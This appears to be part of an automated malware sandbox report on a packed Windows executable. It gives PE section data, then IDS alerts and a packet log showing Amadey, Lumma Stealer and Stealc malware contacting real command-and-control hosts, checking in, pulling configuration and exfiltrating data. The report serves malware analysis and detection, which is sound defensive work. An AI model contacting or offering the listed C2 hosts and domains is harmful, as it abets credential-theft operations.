IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	27bc881f383ba774f91ae37b815cfddd	False	0.9972575984589042	data	7.9725292080122365	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2bb000	0x200	8f92dedf1c594d90af0e3b0fb4f2d229	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
iqaraqez	0x30f000	0x1ab000	0x1aa400	460a9b5347d132a92d5300fa250d7000	False	0.994654394244868	data	7.953156001686795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mryexqmi	0x4ba000	0x1000	0x600	78cfb8cee8e9e3c5c417ed9dac7e45e6	False	0.6171875	data	5.304624981574891	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4bb000	0x3000	0x2200	f749385de53a3ab87a12126e8b032993	False	0.056640625	DOS executable (COM)	0.8011270289918041	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T06:53:04.035966+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50004	TCP
2024-12-23T06:53:10.567435+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.6	57304	1.1.1.1	53	UDP
2024-12-23T06:53:10.709705+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.6	59602	1.1.1.1	53	UDP
2024-12-23T06:53:10.849906+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.6	54311	1.1.1.1	53	UDP
2024-12-23T06:53:11.048537+0100	2058370	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)	1	192.168.2.6	56490	1.1.1.1	53	UDP
2024-12-23T06:53:11.192631+0100	2058362	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)	1	192.168.2.6	57925	1.1.1.1	53	UDP
2024-12-23T06:53:11.424343+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.6	62470	1.1.1.1	53	UDP
2024-12-23T06:53:11.564701+0100	2058376	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)	1	192.168.2.6	55965	1.1.1.1	53	UDP
2024-12-23T06:53:11.711838+0100	2058358	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)	1	192.168.2.6	57547	1.1.1.1	53	UDP
2024-12-23T06:53:11.935357+0100	2058374	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)	1	192.168.2.6	57521	1.1.1.1	53	UDP
2024-12-23T06:53:13.643602+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49707	23.55.153.106	443	TCP
2024-12-23T06:53:14.634743+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49707	23.55.153.106	443	TCP
2024-12-23T06:53:16.233545+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	104.21.66.86	443	TCP
2024-12-23T06:53:16.987996+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49710	104.21.66.86	443	TCP
2024-12-23T06:53:16.987996+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49710	104.21.66.86	443	TCP
2024-12-23T06:53:18.246643+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49711	104.21.66.86	443	TCP
2024-12-23T06:53:19.035226+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49711	104.21.66.86	443	TCP
2024-12-23T06:53:19.035226+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49711	104.21.66.86	443	TCP
2024-12-23T06:53:20.960058+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49713	104.21.66.86	443	TCP
2024-12-23T06:53:23.214213+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49719	104.21.66.86	443	TCP
2024-12-23T06:53:24.027696+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49719	104.21.66.86	443	TCP
2024-12-23T06:53:25.489154+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49725	104.21.66.86	443	TCP
2024-12-23T06:53:28.102920+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49733	104.21.66.86	443	TCP
2024-12-23T06:53:30.639279+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49740	104.21.66.86	443	TCP
2024-12-23T06:53:34.282181+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49752	104.21.66.86	443	TCP
2024-12-23T06:53:35.038066+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49752	104.21.66.86	443	TCP
2024-12-23T06:53:36.494099+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49758	185.215.113.16	80	TCP
2024-12-23T06:53:51.449257+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49793	185.215.113.206	80	TCP
2024-12-23T06:53:51.893499+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49793	185.215.113.206	80	TCP
2024-12-23T06:53:52.014619+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49793	TCP
2024-12-23T06:53:52.338597+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49793	185.215.113.206	80	TCP
2024-12-23T06:53:52.459795+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49793	TCP
2024-12-23T06:53:53.917282+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49793	185.215.113.206	80	TCP
2024-12-23T06:53:54.632862+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49793	185.215.113.206	80	TCP
2024-12-23T06:54:21.492747+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-12-23T06:54:23.382771+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-12-23T06:54:24.735876+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-12-23T06:54:25.814922+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-12-23T06:54:29.261299+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-12-23T06:54:30.331465+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-12-23T06:54:36.019203+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49927	185.215.113.16	80	TCP
2024-12-23T06:55:05.228291+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49996	185.215.113.43	80	TCP
2024-12-23T06:55:10.735913+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50010	185.166.143.48	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 06:53:04.035965919 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.036807060 CET	49705	443	192.168.2.6	40.126.53.12
Dec 23, 2024 06:53:04.036848068 CET	49705	443	192.168.2.6	40.126.53.12
Dec 23, 2024 06:53:04.157594919 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.157615900 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.157646894 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.157660007 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.157672882 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.718081951 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.718149900 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.718187094 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.718241930 CET	49705	443	192.168.2.6	40.126.53.12
Dec 23, 2024 06:53:04.718471050 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.718503952 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.718523026 CET	49705	443	192.168.2.6	40.126.53.12
Dec 23, 2024 06:53:04.718540907 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.718586922 CET	49705	443	192.168.2.6	40.126.53.12
Dec 23, 2024 06:53:04.726392031 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.726505995 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.726569891 CET	49705	443	192.168.2.6	40.126.53.12
Dec 23, 2024 06:53:04.734812021 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.734909058 CET	443	49705	40.126.53.12	192.168.2.6
Dec 23, 2024 06:53:04.734962940 CET	49705	443	192.168.2.6	40.126.53.12
Dec 23, 2024 06:53:05.244199991 CET	443	49706	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:05.244349003 CET	49706	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:05.249922037 CET	49706	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:05.249938965 CET	443	49706	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:05.250222921 CET	443	49706	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:05.251354933 CET	49706	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:05.251425028 CET	49706	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:05.251430988 CET	443	49706	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:05.251513004 CET	49706	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:05.295331001 CET	443	49706	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:05.793901920 CET	443	49706	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:05.793993950 CET	443	49706	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:05.794048071 CET	49706	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:05.794190884 CET	49706	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:05.794213057 CET	443	49706	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:05.914077044 CET	49674	443	192.168.2.6	173.222.162.64
Dec 23, 2024 06:53:05.914079905 CET	49673	443	192.168.2.6	173.222.162.64
Dec 23, 2024 06:53:06.210953951 CET	49672	443	192.168.2.6	173.222.162.64
Dec 23, 2024 06:53:12.221163034 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:12.221247911 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:12.221379995 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:12.246232986 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:12.246269941 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:12.848416090 CET	49708	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:12.848479033 CET	443	49708	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:12.848578930 CET	49708	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:12.849438906 CET	49708	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:12.849456072 CET	443	49708	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:13.643520117 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:13.643601894 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:13.647758961 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:13.647773027 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:13.648067951 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:13.695266008 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:13.967349052 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:14.015352964 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.184437037 CET	49709	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:14.184484005 CET	443	49709	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:14.184535980 CET	49709	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:14.185331106 CET	49709	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:14.185350895 CET	443	49709	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:14.634777069 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.634804010 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.634850025 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.634850025 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:14.634872913 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.634898901 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.634919882 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:14.634919882 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:14.634926081 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.634947062 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:14.634968042 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:14.812176943 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.812274933 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:14.812313080 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.812372923 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.812423944 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:14.842288971 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.842353106 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.842379093 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:14.842401028 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.842442989 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:14.842494965 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.842544079 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:14.862200975 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:14.862222910 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:14.862238884 CET	49707	443	192.168.2.6	23.55.153.106
Dec 23, 2024 06:53:14.862246990 CET	443	49707	23.55.153.106	192.168.2.6
Dec 23, 2024 06:53:15.010446072 CET	49710	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:15.010557890 CET	443	49710	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:15.010672092 CET	49710	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:15.011032104 CET	49710	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:15.011068106 CET	443	49710	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:15.260185003 CET	443	49708	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:15.260401964 CET	49708	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:15.262059927 CET	49708	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:15.262089968 CET	443	49708	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:15.262453079 CET	443	49708	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:15.264461994 CET	49708	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:15.264554024 CET	49708	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:15.264565945 CET	443	49708	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:15.264715910 CET	49708	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:15.311336040 CET	443	49708	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:15.523452997 CET	49673	443	192.168.2.6	173.222.162.64
Dec 23, 2024 06:53:15.523463011 CET	49674	443	192.168.2.6	173.222.162.64
Dec 23, 2024 06:53:15.820336103 CET	49672	443	192.168.2.6	173.222.162.64
Dec 23, 2024 06:53:16.082762003 CET	443	49708	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:16.084700108 CET	443	49708	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:16.084800959 CET	49708	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:16.090877056 CET	49708	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:16.090902090 CET	443	49708	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:16.090914011 CET	49708	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:16.233413935 CET	443	49710	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:16.233545065 CET	49710	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:16.235949993 CET	49710	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:16.235970974 CET	443	49710	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:16.236282110 CET	443	49710	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:16.237373114 CET	49710	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:16.237406015 CET	49710	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:16.237464905 CET	443	49710	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:16.443300009 CET	443	49709	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:16.443430901 CET	49709	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:16.538224936 CET	49709	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:16.538268089 CET	443	49709	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:16.539151907 CET	443	49709	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:16.541424990 CET	49709	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:16.541485071 CET	49709	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:16.541498899 CET	443	49709	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:16.541727066 CET	49709	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:16.583349943 CET	443	49709	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:16.987993956 CET	443	49710	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:16.988115072 CET	443	49710	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:16.988184929 CET	49710	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:16.988298893 CET	49710	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:16.988352060 CET	443	49710	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:16.988399982 CET	49710	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:16.988408089 CET	443	49710	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:17.021505117 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:17.021593094 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:17.021684885 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:17.021985054 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:17.022018909 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:17.088620901 CET	443	49709	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:17.088726044 CET	443	49709	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:17.088785887 CET	49709	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:17.088963985 CET	49709	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:17.088979006 CET	443	49709	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:18.246530056 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:18.246643066 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:18.247987986 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:18.248003006 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:18.248265982 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:18.249855995 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:18.249875069 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:18.249921083 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:18.257949114 CET	443	49702	173.222.162.64	192.168.2.6
Dec 23, 2024 06:53:18.258064985 CET	49702	443	192.168.2.6	173.222.162.64
Dec 23, 2024 06:53:19.035358906 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.035500050 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.035603046 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:19.035610914 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.035641909 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.035696030 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:19.035743952 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.043236971 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.043319941 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:19.043333054 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.051767111 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.051812887 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.051839113 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:19.051860094 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.051901102 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:19.060168028 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.101517916 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:19.101547956 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.148439884 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:19.226902008 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.230648041 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.230729103 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:19.230766058 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.230878115 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.230952024 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:19.231060028 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:19.231076002 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.231101036 CET	49711	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:19.231106997 CET	443	49711	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.644646883 CET	49713	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:19.644709110 CET	443	49713	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:19.644788980 CET	49713	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:19.645237923 CET	49713	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:19.645255089 CET	443	49713	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:20.959954977 CET	443	49713	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:20.960057974 CET	49713	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:20.961618900 CET	49713	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:20.961642981 CET	443	49713	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:20.961996078 CET	443	49713	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:20.963186026 CET	49713	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:20.963331938 CET	49713	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:20.963370085 CET	443	49713	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:21.863717079 CET	443	49713	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:21.863837004 CET	443	49713	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:21.863904953 CET	49713	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:21.863998890 CET	49713	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:21.864020109 CET	443	49713	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:21.967978954 CET	49719	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:21.968041897 CET	443	49719	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:21.968151093 CET	49719	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:21.968672037 CET	49719	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:21.968692064 CET	443	49719	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:23.214107990 CET	443	49719	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:23.214212894 CET	49719	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:23.215456963 CET	49719	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:23.215480089 CET	443	49719	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:23.215804100 CET	443	49719	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:23.217236996 CET	49719	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:23.217372894 CET	49719	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:23.217422009 CET	443	49719	104.21.66.86	192.168.2.6
Dec 23, 2024 06:53:23.217483044 CET	49719	443	192.168.2.6	104.21.66.86
Dec 23, 2024 06:53:23.263339043 CET	443	49719	104.21.66.86	192.168.2.6
